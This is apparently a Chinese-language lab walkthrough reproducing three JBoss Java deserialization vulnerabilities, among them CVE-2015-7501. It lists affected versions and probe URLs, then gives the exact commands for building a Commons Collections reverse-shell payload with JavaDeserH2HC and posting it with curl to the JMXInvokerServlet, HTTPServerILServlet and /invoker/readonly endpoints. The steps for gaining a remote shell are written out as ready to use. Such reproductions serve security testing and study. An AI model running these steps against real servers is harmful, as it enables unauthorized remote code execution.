JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet
请求中读取了用户传入的对象,然后我们利用Apache Commons Collections
中的Gadget
执行任意代码。
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
JBoss在处理/invoker/JMXInvokerServlet
请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。
此漏洞存在于JBoss中 /invoker/JMXInvokerServlet
路径。访问若提示下载 JMXInvokerServlet
,则可能存在漏洞。
漏洞验证,访问http://your-ip:8080/invoker/JMXInvokerServlet
提示下载文件,则可能存在漏洞:
使用 JavaDeserH2HC 工具生成序列化数据,工具地址:https://github.com/joaomatosf/javadeserh2hc
生成序列化数据,并默认重定向到ReverseShellCommonsCollectionsHashMap.ser
文件(用ysoserial工具复现失败,没能找到原因):
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port //监听机的ip和端口
curl http://192.168.1.142:8080//invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer
的HTTPServerILServlet.java
文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
JBoss AS 4.x及之前版本
与CVE-2015-7501的漏洞如出一辙,只是利用的路径稍微出现了变化。
该漏洞出现在/jbossmq-httpil/HTTPServerILServlet
请求中,若访问200,则可能存在漏洞。
访问http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet
,若出现以下界面,则可能存在漏洞:
与CVE-2015-7501复现流程相同,只是最后请求的url路径不同:
成功接收到shell:
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker
组件中的 ReadOnlyAccessFilter
过滤器中。其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。
JbossAS 5.x
JbossAS 6.x
该漏洞出现在/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化,导致传入的携带恶意代码的序列化数据执行。
访问/invoker/readonly
, 如果出现报 500 错误,则说明目标机器可能存在此漏洞。
访问http://your-ip:8080/invoker/readonly
,则可能存在漏洞:
复现流程一样:
成功反弹shell:
参考链接:
https://cloud.tencent.com/developer/article/1672993(Jboss漏洞利用总结)